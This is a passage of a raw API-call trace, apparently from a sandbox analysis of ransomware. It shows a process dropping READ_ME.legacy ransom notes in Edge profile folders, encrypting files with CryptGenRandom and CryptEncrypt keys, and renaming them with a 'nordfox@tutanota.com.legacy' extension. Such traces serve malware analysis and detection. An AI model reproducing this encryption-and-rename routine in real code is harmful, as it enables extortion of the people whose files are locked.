hFile=0x1a50, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.556] CloseHandle (hObject=0x1a50) returned 1 [0179.556] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0179.558] SetLastError (dwErrCode=0x0) [0179.558] GetLastError () returned 0x0 [0179.558] SetLastError (dwErrCode=0x0) [0179.558] GetLastError () returned 0x0 [0179.558] SetLastError (dwErrCode=0x0) [0179.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0179.559] SetLastError (dwErrCode=0x0) [0179.559] GetLastError () returned 0x0 [0179.559] SetLastError (dwErrCode=0x0) [0179.559] GetLastError () returned 0x0 [0179.559] SetLastError (dwErrCode=0x0) [0179.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56df50 [0179.559] SetLastError (dwErrCode=0x0) [0179.559] GetLastError () returned 0x0 [0179.559] SetLastError (dwErrCode=0x0) [0179.559] GetLastError () returned 0x0 [0179.559] SetLastError (dwErrCode=0x0) [0179.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f636b0 [0179.559] SetLastError (dwErrCode=0x12) [0179.559] GetLastError () returned 0x12 [0179.559] SetLastError (dwErrCode=0x12) [0179.559] GetLastError () returned 0x12 [0179.559] SetLastError (dwErrCode=0x12) [0179.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dbe0 [0179.559] SetLastError (dwErrCode=0x12) [0179.560] GetLastError () returned 0x12 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] GetLastError () returned 0x12 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] GetLastError () returned 0x12 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578ba0 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63548 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] GetLastError () returned 0x12 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578700 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] GetLastError () returned 0x12 [0179.560] SetLastError (dwErrCode=0x12) [0179.560] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578388 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc90 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] GetLastError () returned 0x12 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578388 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f632f0 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] GetLastError () returned 0x12 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578cc8 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc90 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] GetLastError () returned 0x12 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578df0 [0179.561] SetLastError (dwErrCode=0x12) [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db88 [0179.561] SetLastError (dwErrCode=0x12) [0179.562] GetLastError () returned 0x12 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578a78 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63408 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] GetLastError () returned 0x12 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] GetLastError () returned 0x12 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd40 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] GetLastError () returned 0x12 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578828 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd98 [0179.562] SetLastError (dwErrCode=0x12) [0179.562] GetLastError () returned 0x12 [0179.563] SetLastError (dwErrCode=0x12) [0179.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578260 [0179.563] SetLastError (dwErrCode=0x12) [0179.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f635e8 [0179.563] SetLastError (dwErrCode=0x12) [0179.563] GetLastError () returned 0x12 [0179.563] SetLastError (dwErrCode=0x12) [0179.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578a78 [0179.563] SetLastError (dwErrCode=0x12) [0179.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f632c8 [0179.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f632f0 [0179.563] SetLastError (dwErrCode=0x12) [0179.563] GetLastError () returned 0x12 [0179.563] SetLastError (dwErrCode=0x12) [0179.563] GetLastError () returned 0x12 [0179.563] SetLastError (dwErrCode=0x12) [0179.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585510 [0179.563] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\LocalState\\RootTools\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\localstate\\roottools\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a64 [0179.564] WriteFile (in: hFile=0x1a64, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.565] CloseHandle (hObject=0x1a64) returned 1 [0179.565] SetLastError (dwErrCode=0x12) [0179.565] GetLastError () returned 0x12 [0179.566] SetLastError (dwErrCode=0x12) [0179.566] GetLastError () returned 0x12 [0179.566] SetLastError (dwErrCode=0x12) [0179.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dea0 [0179.566] SetLastError (dwErrCode=0x12) [0179.566] GetLastError () returned 0x12 [0179.566] SetLastError (dwErrCode=0x12) [0179.566] GetLastError () returned 0x12 [0179.566] SetLastError (dwErrCode=0x12) [0179.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db88 [0179.566] SetLastError (dwErrCode=0x12) [0179.566] GetLastError () returned 0x12 [0179.566] SetLastError (dwErrCode=0x12) [0179.566] GetLastError () returned 0x12 [0179.566] SetLastError (dwErrCode=0x12) [0179.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a130 [0179.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f635e8 [0179.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a9a0 [0179.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.566] SetLastError (dwErrCode=0x12) [0179.567] GetLastError () returned 0x12 [0179.567] SetLastError (dwErrCode=0x12) [0179.567] GetLastError () returned 0x12 [0179.567] SetLastError (dwErrCode=0x12) [0179.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585cd0 [0179.567] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a68 [0179.567] WriteFile (in: hFile=0x1a68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.568] CloseHandle (hObject=0x1a68) returned 1 [0179.568] SetLastError (dwErrCode=0x0) [0179.568] GetLastError () returned 0x0 [0179.568] SetLastError (dwErrCode=0x0) [0179.568] GetLastError () returned 0x0 [0179.568] SetLastError (dwErrCode=0x0) [0179.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9b20 [0179.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63728 [0179.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9950 [0179.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.569] SetLastError (dwErrCode=0x0) [0179.569] GetLastError () returned 0x0 [0179.569] SetLastError (dwErrCode=0x0) [0179.569] GetLastError () returned 0x0 [0179.569] SetLastError (dwErrCode=0x0) [0179.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0179.569] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a68 [0179.577] WriteFile (in: hFile=0x1a68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.578] CloseHandle (hObject=0x1a68) returned 1 [0179.578] SetLastError (dwErrCode=0x0) [0179.578] GetLastError () returned 0x0 [0179.578] SetLastError (dwErrCode=0x0) [0179.578] GetLastError () returned 0x0 [0179.578] SetLastError (dwErrCode=0x0) [0179.578] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca518 [0179.578] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63480 [0179.578] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9dd8 [0179.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.579] SetLastError (dwErrCode=0x0) [0179.579] GetLastError () returned 0x0 [0179.579] SetLastError (dwErrCode=0x0) [0179.579] GetLastError () returned 0x0 [0179.579] SetLastError (dwErrCode=0x0) [0179.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0179.579] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\History\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\history\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a68 [0179.580] WriteFile (in: hFile=0x1a68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.580] CloseHandle (hObject=0x1a68) returned 1 [0179.580] SetLastError (dwErrCode=0x0) [0179.581] GetLastError () returned 0x0 [0179.581] SetLastError (dwErrCode=0x0) [0179.581] GetLastError () returned 0x0 [0179.581] SetLastError (dwErrCode=0x0) [0179.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634d0 [0179.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f636b0 [0179.581] SetLastError (dwErrCode=0x0) [0179.581] GetLastError () returned 0x0 [0179.581] SetLastError (dwErrCode=0x0) [0179.581] GetLastError () returned 0x0 [0179.581] SetLastError (dwErrCode=0x0) [0179.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0179.581] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a68 [0179.582] WriteFile (in: hFile=0x1a68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.582] CloseHandle (hObject=0x1a68) returned 1 [0179.583] SetLastError (dwErrCode=0x0) [0179.583] GetLastError () returned 0x0 [0179.583] SetLastError (dwErrCode=0x0) [0179.583] GetLastError () returned 0x0 [0179.583] SetLastError (dwErrCode=0x0) [0179.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634d0 [0179.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63520 [0179.583] SetLastError (dwErrCode=0x0) [0179.583] GetLastError () returned 0x0 [0179.583] SetLastError (dwErrCode=0x0) [0179.583] GetLastError () returned 0x0 [0179.583] SetLastError (dwErrCode=0x0) [0179.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61dab0 [0179.583] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatuacache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a68 [0179.587] WriteFile (in: hFile=0x1a68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.587] CloseHandle (hObject=0x1a68) returned 1 [0179.588] SetLastError (dwErrCode=0x0) [0179.588] GetLastError () returned 0x0 [0179.588] SetLastError (dwErrCode=0x0) [0179.588] GetLastError () returned 0x0 [0179.588] SetLastError (dwErrCode=0x0) [0179.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.588] SetLastError (dwErrCode=0x0) [0179.588] GetLastError () returned 0x0 [0179.588] SetLastError (dwErrCode=0x0) [0179.588] GetLastError () returned 0x0 [0179.588] SetLastError (dwErrCode=0x0) [0179.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d308 [0179.588] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\ieflipaheadcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a68 [0179.591] WriteFile (in: hFile=0x1a68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.591] CloseHandle (hObject=0x1a68) returned 1 [0179.591] SetLastError (dwErrCode=0x0) [0179.591] GetLastError () returned 0x0 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] GetLastError () returned 0x0 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63520 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] GetLastError () returned 0x0 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] GetLastError () returned 0x0 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f633e0 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] GetLastError () returned 0x0 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] GetLastError () returned 0x0 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6b138 [0179.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63430 [0179.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69998 [0179.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] GetLastError () returned 0x0 [0179.592] SetLastError (dwErrCode=0x0) [0179.592] GetLastError () returned 0x0 [0179.592] SetLastError (dwErrCode=0x0) [0179.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585cd0 [0179.593] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\User\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\user\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a68 [0179.593] WriteFile (in: hFile=0x1a68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0179.594] CloseHandle (hObject=0x1a68) returned 1 [0179.594] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0179.594] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0179.594] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\MSIMGSIZ.DAT", dwFileAttributes=0x80) returned 1 [0179.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca8b8 [0179.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a2b8 [0179.595] ReadFile (in: hFile=0x1a68, lpBuffer=0x30d7038, nNumberOfBytesToRead=0xbfe0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0xbfe0, lpOverlapped=0x0) returned 1 [0179.602] SetFilePointer (in: hFile=0x1a68, lDistanceToMove=-49120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.602] WriteFile (in: hFile=0x1a68, lpBuffer=0x30e3020*, nNumberOfBytesToWrite=0xbfe0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbfe0, lpOverlapped=0x0) returned 1 [0179.602] SetFilePointer (in: hFile=0x1a68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbfe0 [0179.602] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.602] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.603] WriteFile (in: hFile=0x1a68, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.603] WriteFile (in: hFile=0x1a68, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.603] CloseHandle (hObject=0x1a68) returned 1 [0179.603] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\msimgsiz.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\MSIMGSIZ.DAT.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\msimgsiz.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0179.606] SetLastError (dwErrCode=0x0) [0179.606] GetLastError () returned 0x0 [0179.606] SetLastError (dwErrCode=0x0) [0179.606] GetLastError () returned 0x0 [0179.606] SetLastError (dwErrCode=0x0) [0179.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.606] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd40 [0179.606] SetLastError (dwErrCode=0x0) [0179.607] GetLastError () returned 0x0 [0179.607] SetLastError (dwErrCode=0x0) [0179.607] GetLastError () returned 0x0 [0179.607] SetLastError (dwErrCode=0x0) [0179.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0179.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56de48 [0179.607] SetLastError (dwErrCode=0x0) [0179.607] GetLastError () returned 0x0 [0179.607] SetLastError (dwErrCode=0x0) [0179.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578700 [0179.607] SetLastError (dwErrCode=0x0) [0179.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f636b0 [0179.607] SetLastError (dwErrCode=0x12) [0179.607] GetLastError () returned 0x12 [0179.607] SetLastError (dwErrCode=0x12) [0179.607] GetLastError () returned 0x12 [0179.607] SetLastError (dwErrCode=0x12) [0179.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0179.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dea0 [0179.607] SetLastError (dwErrCode=0x12) [0179.607] GetLastError () returned 0x12 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] GetLastError () returned 0x12 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0179.608] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56def8 [0179.608] SetLastError (dwErrCode=0x12) [0179.608] GetLastError () returned 0x12 [0179.608] SetLastError (dwErrCode=0x12) 